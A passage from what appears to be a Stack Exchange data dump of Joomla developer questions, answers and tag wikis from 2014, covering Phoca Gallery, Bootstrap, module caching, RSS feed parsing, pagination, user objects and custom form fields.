categories&lt;/li&gt;&#xA;&lt;li&gt;Different methods of displaying detail of an image (No Popup, Standard Javascript Popup,      Modal Box, Modal Box (image only), Shadowbox, Highslide JS, Highslide JS (image only), JAK lightbox)&lt;/li&gt;&#xA;&lt;li&gt;Automatically creating of thumbnails&lt;/li&gt;&#xA;&lt;li&gt;Commenting images and categories (using external comment system like JComments possible)&lt;/li&gt;&#xA;&lt;li&gt;Cooliris support&lt;/li&gt;&#xA;&lt;li&gt;Rating images and categories&lt;/li&gt;&#xA;&lt;li&gt;Multiple adding of thumbnails&lt;/li&gt;&#xA;&lt;li&gt;Different methods of image upload (FTP, Java Upload, Flash Upload, Standard Upload, using other media manager or file manager in Joomla!)&lt;/li&gt;&#xA;&lt;li&gt;Frontend Upload&lt;/li&gt;&#xA;&lt;li&gt;Frontend managing of images (upload, delete, publish, unpublish)&lt;/li&gt;&#xA;&lt;li&gt;MVC pattern - Phoca Gallery templates can be overriden by Joomla! template&lt;/li&gt;&#xA;&lt;li&gt;Rotating of images&lt;/li&gt;&#xA;&lt;li&gt;Recreating of images&lt;/li&gt;&#xA;&lt;li&gt;Option to installing different Themes&lt;/li&gt;&#xA;&lt;li&gt;Changing design easily in parameters or in Themes&lt;/li&gt;&#xA;&lt;li&gt;Pagination&lt;/li&gt;&#xA;&lt;li&gt;Displaying EXIF information&lt;/li&gt;&#xA;&lt;li&gt;Geotagging support (displaying Google Maps with images or categories)&lt;/li&gt;&#xA;&lt;li&gt;Youtube support (Youtube videos can be displayed in detail view)&lt;/li&gt;&#xA;&lt;li&gt;Statistics&lt;/li&gt;&#xA;&lt;li&gt;Description of images and categories&lt;/li&gt;&#xA;&lt;li&gt;Creating external links (e.g. to download)&lt;/li&gt;&#xA;&lt;li&gt;Creating link to VirtueMart&lt;/li&gt;&#xA;&lt;li&gt;Overlib effect&lt;/li&gt;&#xA;&lt;li&gt;Slideshow&lt;/li&gt;&#xA;&lt;li&gt;Different Modules, Plugins and Languages available&lt;/li&gt;&#xA;&lt;li&gt;Watermark&lt;/li&gt;&#xA;&lt;li&gt;Standard and advanced SEF support&lt;/li&gt;&#xA;&lt;li&gt;User rights (displaying, uploading, editing, publishing, unpublishing)&lt;/li&gt;&#xA;&lt;li&gt;Breadcrumbs support&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-27T22:49:12.977" LastActivityDate="2014-08-27T22:49:12.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4238" PostTypeId="4" CreationDate="2014-08-27T20:34:50.557" Score="0" Body="Phoca Gallery is an image gallery for Joomla! CMS. It allows users to display images or Youtube videos in many different styles." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-27T22:49:22.237" LastActivityDate="2014-08-27T22:49:22.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4239" PostTypeId="5" CreationDate="2014-08-27T20:45:45.930" Score="0" Body="&lt;p&gt;Bootstrap is a front-end framework from Twitter designed to kick-start development of webapps and sites. As of Joomla 3.0, Bootstrap is included in the Joomla core, and can be used both on front-end and back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable the Bootstrap framework in Joomla, call &lt;code&gt;JHtml::_('bootstrap.framework')&lt;/code&gt;. This will automatically enable the jQuery framework in noConflict mode (i.e. accessed via &lt;code&gt;jQuery.&lt;/code&gt; instead of &lt;code&gt;$.&lt;/code&gt;) &lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-27T22:49:10.007" LastActivityDate="2014-08-27T22:49:10.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4240" PostTypeId="4" CreationDate="2014-08-27T20:45:45.930" Score="0" Body="Bootstrap is a front-end framework from Twitter designed to kick-start development of webapps and sites." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-27T22:49:19.557" LastActivityDate="2014-08-27T22:49:19.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4241" PostTypeId="1" CreationDate="2014-08-27T22:30:45.853" Score="1" ViewCount="1484" Body="&lt;p&gt;I have made a plugin that add few fields on joomla registration form.&#xA;Now I need to add a javascript event on submit that will handle those extra fields I added, but I couldn't find any way to manipulate the submit button of the form.&#xA;How could I add an onclick or onsubmit event to the submit button of the registration form?&lt;/p&gt;&#xA;" OwnerUserId="1677" LastActivityDate="2014-08-31T16:37:09.210" Title="Add onclick/onsubmit event to form submit" Tags="|plugin|javascript|jform|form|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4243" PostTypeId="1" AcceptedAnswerId="4245" CreationDate="2014-08-28T08:03:26.083" Score="4" ViewCount="68" Body="&lt;p&gt;Its been about a year, that i started using joomla. i.e building some &lt;strong&gt;plugins&lt;/strong&gt;, &lt;strong&gt;module&lt;/strong&gt; and &lt;strong&gt;components&lt;/strong&gt;. &#xA;Now i want to extend my level of knowledge in inside working mechanism of joomla system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know events defined in plugin are called after &lt;strong&gt;triggering&lt;/strong&gt;, but on a first hand how every plugin &lt;strong&gt;register&lt;/strong&gt; itself to joomla's core &lt;strong&gt;eventdispatcher&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone clear my confusion?  &lt;/p&gt;&#xA;" OwnerUserId="487" LastEditorUserId="3" LastEditDate="2014-08-28T11:49:16.180" LastActivityDate="2014-08-28T11:49:16.180" Title="How joomla plugin registers itself to a subject" Tags="|development|joomla-api|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4244" PostTypeId="1" AcceptedAnswerId="4248" CreationDate="2014-08-28T08:26:30.817" Score="3" ViewCount="879" Body="&lt;p&gt;I've replicated the mod_article_category module from Joomla 3.3.3 to only show one article, filtered by id (which you can choose in a dropdown).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;require_once __DIR__ . '/helper.php';&#xA;$article = ModArticleHelper::getArticle($params)[0];&#xA;require JModuleHelper::getLayoutPath('mod_article', $params-&amp;gt;get('layout', 'default'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die;&#xA;$show_title = $params-&amp;gt;get('show_title',true);&#xA;$h = $params-&amp;gt;get('h','h3');&#xA;$class = htmlspecialchars($params-&amp;gt;get('moduleclass_sfx'));&#xA;?&amp;gt;&#xA;&amp;lt;article class=&quot;&amp;lt;?= $class ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php if($show_title){echo &quot;&amp;lt;$h&amp;gt;$article-&amp;gt;title&amp;lt;/$h&amp;gt;&quot;;} ?&amp;gt;&#xA;    &amp;lt;?= $article-&amp;gt;introtext.$article-&amp;gt;fulltext ?&amp;gt;   &#xA;&amp;lt;/article&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use this module to show an article in a module position it works. The problem arises when I have this module multiple times. The shown article is always that of the last added module and all the module-specific params (like showing the title of the article) also only listen to the last added module. The sitewide module settings (like showing the module title) DO change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why doesn't the module work when in multiple positions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FULL CODE (helper.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;$com_path = JPATH_SITE . '/components/com_content/';&#xA;require_once $com_path . 'helpers/route.php';&#xA;JModelLegacy::addIncludePath($com_path . '/models', 'ContentModel');&#xA;&#xA;abstract class ModArticleHelper{&#xA;    public static function getArticle(&amp;amp;$params){&#xA;        // Get an instance of the generic articles model&#xA;        $articles = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' =&amp;gt; true));&#xA;&#xA;        // Set application parameters in model&#xA;        $app = JFactory::getApplication();&#xA;        $appParams = $app-&amp;gt;getParams();&#xA;        $articles-&amp;gt;setState('params', $appParams);&#xA;        $articles-&amp;gt;setState('filter.published', 1);&#xA;&#xA;        // Access filter&#xA;        $access = !JComponentHelper::getParams('com_content')-&amp;gt;get('show_noauth');&#xA;        $authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()-&amp;gt;get('id'));&#xA;        $articles-&amp;gt;setState('filter.access', $access);&#xA;&#xA;        // Item ID filter&#xA;        $articles-&amp;gt;setState('filter.id', $params-&amp;gt;get('article_id', array()));&#xA;&#xA;        // Filter by language&#xA;        $articles-&amp;gt;setState('filter.language', $app-&amp;gt;getLanguageFilter());&#xA;&#xA;        $items = $articles-&amp;gt;getItems();&#xA;&#xA;        foreach ($items as &amp;amp;$item){&#xA;            $item-&amp;gt;slug = $item-&amp;gt;id . ':' . $item-&amp;gt;alias;&#xA;            $item-&amp;gt;catslug = $item-&amp;gt;catid . ':' . $item-&amp;gt;category_alias;&#xA;&#xA;            if ($access || in_array($item-&amp;gt;access, $authorised)){&#xA;                // We know that user has the privilege to view the article&#xA;                $item-&amp;gt;link = JRoute::_(ContentHelperRoute::getArticleRoute($item-&amp;gt;slug, $item-&amp;gt;catslug));&#xA;            } else {&#xA;                $item-&amp;gt;link = JRoute::_('index.php?option=com_users&amp;amp;view=login');&#xA;            }&#xA;        }&#xA;        return $items;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1825" LastEditorUserId="1825" LastEditDate="2014-08-28T12:00:48.220" LastActivityDate="2014-08-28T13:57:25.937" Title="Two different modules showing the same content" Tags="|module|articles|module-display|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4245" PostTypeId="2" ParentId="4243" CreationDate="2014-08-28T11:14:08.717" Score="2" Body="&lt;p&gt;They do not register itself. This is done by &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/plugin/helper.php#L148&quot; rel=&quot;nofollow&quot;&gt;JPluginHelper::importPlugin()&lt;/a&gt; method. See &lt;a href=&quot;http://www.informit.com/articles/article.aspx?p=1858258&amp;amp;seqNum=2&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; for reference. Hope it will make your confusion clear ;)&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-08-28T11:14:08.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4246" PostTypeId="2" ParentId="4244" CreationDate="2014-08-28T13:34:57.360" Score="1" Body="&lt;p&gt;ContentModelArticles has an internal cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ContentModelArticles-&gt;getItems() =&gt; JModelList-&gt;getItems(), line 155&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function getItems()&#xA;    {&#xA;    // Get a storage key.&#xA;    $store = $this-&amp;gt;getStoreId();&#xA;&#xA;    // Try to load the data from internal storage.&#xA;    if (isset($this-&amp;gt;cache[$store]))&#xA;    {&#xA;        return $this-&amp;gt;cache[$store];&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the cache access is based on the StoreId, you should define a different context for each module. E.g. $articles-&gt;set('context', 'mod_mymodule' . $id);&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-08-28T13:34:57.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4247" PostTypeId="1" AcceptedAnswerId="4267" CreationDate="2014-08-28T13:52:12.693" Score="0" ViewCount="189" Body="&lt;p&gt;I am trying to develop Bootstrap's carousel module for news which are fetched from a remote website using its RSS feed for my Joomla 3.3.3 web site. It is a WordPress web site. I have added the following code to WP web site's theme/functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function zkanoca_add_image_to_rss() {&#xA;    $thumb_id = get_post_thumbnail_id( get_the_ID() );&#xA;    if ( ! empty( $thumb_id ) ) {&#xA;        echo '&amp;lt;myimage&amp;gt;' . wp_get_attachment_url( $thumb_id ) . '&amp;lt;/myimage&amp;gt;';&#xA;    }&#xA;}&#xA;add_action('rss2_item', 'zkanoca_add_image_to_rss');&#xA;add_action('rss_item', 'zkanoca_add_image_to_rss');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I now can see &lt;code&gt;&amp;lt;myimage&amp;gt;[image_url]&amp;lt;/myimage&amp;gt;&lt;/code&gt; line in the rss feed when I look at the source code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I do not know how to handle it on Joomla's RSS feed module (mod_feed). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to extract image url using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $feed[$i]-&amp;gt;myimage;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in a loop just like &lt;code&gt;$feed[$i]-&amp;gt;title;&lt;/code&gt; but did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I call &lt;code&gt;var_dump()&lt;/code&gt; function for an item but could not see a key element for &lt;code&gt;&amp;lt;myimage&amp;gt;&lt;/code&gt; information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found  &lt;strong&gt;/libraries/joomla/feed/parser/rss.php&lt;/strong&gt; and then added &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function handleMyimage(JFeed $feed, SimpleXMLElement $el) {&#xA;        $feed-&amp;gt;myimage = (string) $el;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, I have modified &lt;strong&gt;/libraries/joomla/feed/feed.php&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;// /libraries/joomla/feed/feed.php&#xA;   protected $properties = array(&#xA;        'uri' =&gt; '',&#xA;        'title' =&gt; '',&#xA;        'updatedDate' =&gt; '',&#xA;        'description' =&gt; '',&#xA;        'categories' =&gt; array(),&#xA;        'contributors' =&gt; array(),&#xA;        'myimage' =&gt; '' //added this key&#xA;    );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I added &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; // /libraries/joomla/feed/link.php line 60s&#xA; public $myimage;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into JFeedLink class and modified &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// /libraries/joomla/feed/link.php line 90s&#xA;public function __construct($uri = null, $relation = null, $type = null, $language = null, $title = null, $length = null ) {&#xA;        $this-&amp;gt;uri = $uri;&#xA;        $this-&amp;gt;relation = $relation;&#xA;        $this-&amp;gt;type = $type;&#xA;        $this-&amp;gt;language = $language;&#xA;        $this-&amp;gt;title = $title;&#xA;&#xA;        // Validate the length input.&#xA;        if (isset($length) &amp;amp;&amp;amp; !is_numeric($length)) {&#xA;            throw new InvalidArgumentException('Length must be numeric.');&#xA;        }&#xA;        $this-&amp;gt;length = (int) $length;&#xA;    }&#xA;&#xA;to &#xA;&#xA;// /libraries/joomla/feed/link.php line 90s &#xA;public function __construct($uri = null, $relation = null, $type = null, $language = null, $title = null, $length = null,  /* added this */ $myimage = null /**/) {&#xA;        $this-&amp;gt;uri = $uri;&#xA;        $this-&amp;gt;relation = $relation;&#xA;        $this-&amp;gt;type = $type;&#xA;        $this-&amp;gt;language = $language;&#xA;        $this-&amp;gt;title = $title;&#xA;        $this-&amp;gt;resim = $resim; //added this line too&#xA;&#xA;        // Validate the length input.&#xA;        if (isset($length) &amp;amp;&amp;amp; !is_numeric($length)) {&#xA;            throw new InvalidArgumentException('Length must be numeric.');&#xA;        }&#xA;        $this-&amp;gt;length = (int) $length;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in &lt;strong&gt;/libraries/joomla/feed/link.php&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="440" LastEditorUserId="440" LastEditDate="2014-08-29T09:24:19.107" LastActivityDate="2014-08-29T09:46:44.657" Title="How to handle RSS data coming from WordPress for Joomla's RSS Module?" Tags="|php|module|rss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4248" PostTypeId="2" ParentId="4244" CreationDate="2014-08-28T13:57:25.937" Score="2" Body="&lt;p&gt;I redid the whole helper code (in under two minutes) to use native joomla database code instead of component helpers. The full helper.php code is now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;$com_path = JPATH_SITE . '/components/com_content/';&#xA;//require_once $com_path . 'router.php';&#xA;require_once $com_path . 'helpers/route.php';&#xA;&#xA;abstract class ModArticleHelper{&#xA;&#xA;    public static function getArticle(&amp;amp;$params){&#xA;        $app = JFactory::getApplication();&#xA;        $appParams = $app-&amp;gt;getParams();&#xA;&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('content.*,c.id as catid,c.alias as category_alias');&#xA;        $query-&amp;gt;from('#__content as content, #__categories as c');&#xA;        $query-&amp;gt;where('content.id = '.$params-&amp;gt;get('article_id'));&#xA;        $query-&amp;gt;where('content.state = 1');&#xA;        $query-&amp;gt;where('content.catid = c.id');&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $items = $db-&amp;gt;loadObjectList();&#xA;&#xA;        foreach ($items as &amp;amp;$item){&#xA;            $item-&amp;gt;slug = $item-&amp;gt;id . ':' . $item-&amp;gt;alias;&#xA;            $item-&amp;gt;catslug = $item-&amp;gt;catid . ':' . $item-&amp;gt;category_alias;&#xA;            $item-&amp;gt;link = JRoute::_(ContentHelperRoute::getArticleRoute($item-&amp;gt;slug, $item-&amp;gt;catslug));&#xA;        }&#xA;        return $items;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works!&lt;/p&gt;&#xA;" OwnerUserId="1825" LastActivityDate="2014-08-28T13:57:25.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4249" PostTypeId="1" AcceptedAnswerId="4266" CreationDate="2014-08-28T14:06:49.807" Score="7" ViewCount="5463" Body="&lt;p&gt;I have method getListQuery() in my model, which return query. As we know, Joomla automically set limit and offset to query when we use JPagination.&#xA;I have problem, that I want to use JPagination and fetch all rows in getListQuery().&#xA;As far as, I wrote code like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function getListQuery(){&#xA;&#xA;    // here is created my $query object with query&#xA;&#xA;    // I'm fetching all rows&#xA;    $rows = $db-&amp;gt;loadObjectList();&#xA;    $this-&amp;gt;rows = $rows;&#xA;&#xA;    return $query;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It means, query is executing 2 times: one by me in this method and one by Joomla core. I'm not so happy with this solution, because it causes page loads 2x longer. Query has about 10 joins... With milions of rows it's really problem.&#xA;Do you see any right solution?&lt;/p&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2014-08-29T09:19:18.270" Title="Model getListQuery() fetch all rows with using JPagination" Tags="|joomla-2.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4250" PostTypeId="1" AcceptedAnswerId="4251" CreationDate="2014-08-28T15:06:21.913" Score="2" ViewCount="993" Body="&lt;p&gt;I have converted a dashboard template for joomla 2.5 for my project. the issue is this i want to show the login details for the user just like i mentioned in the image is there any module or plugin which can help.. i have created access levels for admin teacher and students so anyone who log in will see its profile and the status like this.!! And also the message notifications ..!!! Any help would be appreciated ...!!! Thanks in Advance...!!!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/W1jhU.png&quot; alt=&quot;reference image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1827" LastEditorUserId="3650" LastEditDate="2016-11-24T18:52:27.857" LastActivityDate="2017-09-19T23:07:06.623" Title="Logged in user details, profile, message notification display using access level category" Tags="|login|acl|profile|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4251" PostTypeId="2" ParentId="4250" CreationDate="2014-08-28T15:17:19.340" Score="2" Body="&lt;p&gt;You should have a read through the docs there are lots of useful tips there, maybe the following is what you need?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get this object for the current user, use the following member function of JFactory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, to get information about any other registered user you can call the function with a user 'id', e.g. for user '99';&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser(99);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code displays the current user's name, email, user name and user type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;p&amp;gt;Your name is {$user-&amp;gt;name}, your email is {$user-&amp;gt;email}, and your username is {$user-&amp;gt;username}&amp;lt;/p&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, some information about the current &lt;strong&gt;logged in user&lt;/strong&gt; is displayed, but only when the user is actually logged in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&#xA;if (!$user-&amp;gt;guest) {&#xA;  echo 'You are logged in as:&amp;lt;br /&amp;gt;';&#xA;  echo 'User name: ' . $user-&amp;gt;username . '&amp;lt;br /&amp;gt;';&#xA;  echo 'Real name: ' . $user-&amp;gt;name . '&amp;lt;br /&amp;gt;';&#xA;  echo 'User ID  : ' . $user-&amp;gt;id . '&amp;lt;br /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, a check is made to determine if the current user has &lt;strong&gt;edit permission&lt;/strong&gt; on content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&#xA;if ($user-&amp;gt;authorize( 'com_content', 'edit', 'content', 'all' )) {&#xA;  echo 'Editing permitted.';&#xA;} else {&#xA;  echo 'Editing not permitted.';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the reference details are &lt;a href=&quot;http://docs.joomla.org/Accessing_the_current_user_object&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2014-08-29T10:58:20.097" LastActivityDate="2014-08-29T10:58:20.097" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4252" PostTypeId="1" AcceptedAnswerId="4255" CreationDate="2014-08-28T15:35:33.267" Score="3" ViewCount="1862" Body="&lt;p&gt;I'm trying to create a custom field which is a radio list, and must be displayed as a btn group. It works as expected when using the standard &lt;code&gt;type=&quot;radio&quot;&lt;/code&gt;in the XML (&lt;em&gt;rating2&lt;/em&gt;), but when rendered as a custom field (&lt;em&gt;rating1&lt;/em&gt;), it displays only a regularly formatted radio list.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that there are a number of class names that are different or missing between the two, but can't figure out how or where to specify them, presuming that specifying &lt;code&gt;class=&quot;btn-group&quot;&lt;/code&gt; in the XML should take care of that.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had success doing this, and if so what is missing or wrong with this code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ERr9V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Form XML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;rating1&quot;&#xA;    type=&quot;ContentRating&quot;&#xA;    class=&quot;btn-group&quot;&#xA;    label=&quot;Rating 1&quot; /&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;rating2&quot;&#xA;    type=&quot;radio&quot;&#xA;    class=&quot;btn-group&quot;&#xA;    label=&quot;Rating 2&quot; &amp;gt;&#xA;    &amp;lt;option value=&quot;Y&quot;&amp;gt;TV-Y&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Y7&quot;&amp;gt;TV-Y7&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;G&quot;&amp;gt;TV-G&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;PG&quot;&amp;gt;TV-PG&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;14&quot;&amp;gt;TV-14&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;MA&quot;&amp;gt;TV-MA&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;models/fields/contentrating.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JFormFieldContentRating extends JFormField {&#xA;    protected $type = 'ContentRating';&#xA;    protected function getInput() {&#xA;        $options = array(&#xA;            JHtml::_('select.option', 'Y', 'TV-Y'),&#xA;            JHtml::_('select.option', 'Y7', 'TV-Y7'),&#xA;            JHtml::_('select.option', 'G', 'TV-G'),&#xA;            JHtml::_('select.option', 'PG', 'TV-PG'),&#xA;            JHtml::_('select.option', '14', 'TV-14'),&#xA;            JHtml::_('select.option', 'MA', 'TV-MA')&#xA;        );&#xA;    // Some of the variations tried - none work&#xA;        $html = JHtml::_('select.radiolist', $options, $this-&amp;gt;name, null, 'value', 'text', $this-&amp;gt;value, $this-&amp;gt;id);&#xA;        $html = JHtml::_('select.radiolist', $options, $this-&amp;gt;name, array('class'=&amp;gt;''), 'value', 'text', $this-&amp;gt;value, $this-&amp;gt;id);&#xA;        $html = JHtml::_('select.radiolist', $options, $this-&amp;gt;name, array('class'=&amp;gt;'btn'), 'value', 'text', $this-&amp;gt;value, $this-&amp;gt;id);&#xA;        $html = JHtml::_('select.radiolist', $options, $this-&amp;gt;name, &quot;class='btn-group'&quot;, 'value', 'text', $this-&amp;gt;value, $this-&amp;gt;id);&#xA;        return $html;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-08-28T16:03:53.790" Title="How to style a Custom Field radio list as btn-group?" Tags="|jform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4253" PostTypeId="1" AcceptedAnswerId="10050" CreationDate="2014-08-28T15:55:36.837" Score="6" ViewCount="2734" Body="&lt;p&gt;I'm trying to use the joomlatools &lt;a href=&quot;https://github.com/joomlatools/joomla-console&quot;&gt;joomla-console&lt;/a&gt; in a new project. However, I can't use the &lt;code&gt;symlink&lt;/code&gt; functionality because of my directory structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past I've always built components with a simple &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/&#xA;    controllers&#xA;    models&#xA;    views&#xA;    etc&#xA;site&#xA;    controllers&#xA;    models&#xA;    views&#xA;    etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;structure, and it works fine when you zip / install it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomlatools says you should use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/&#xA;  components/&#xA;    mycomponent/  &#xA;      controllers&#xA;      models&#xA;      views&#xA;      etc&#xA;site/&#xA;  components/&#xA;    mycomponent/&#xA;      controllers&#xA;      models&#xA;      views&#xA;      etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you use and which is &quot;right&quot;?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2016-04-30T04:40:46.640" Title="Proper folder structure for custom component" Tags="|component|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4254" PostTypeId="2" ParentId="4215" CreationDate="2014-08-28T15:57:47.807" Score="1" Body="&lt;p&gt;Ultimately (and as it should be), Joomla leaves the presentation of output to the template.  They generally seem to use &lt;code&gt;$module-&amp;gt;count&lt;/code&gt; to make that determination, and without cooperation of the template to examine the output, it makes perfect sense that the empty block appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find a solution though - In my case the pages having conditional module output are all com_content articles, so I wrote a &lt;em&gt;content plugin that retrieved the module output&lt;/em&gt;.  If the module returned anything to display, I altered the article output with it.  Using CSS, I was able to position the module output the way I needed it to appear, and accomplished what I was trying to do.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-08-28T15:57:47.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
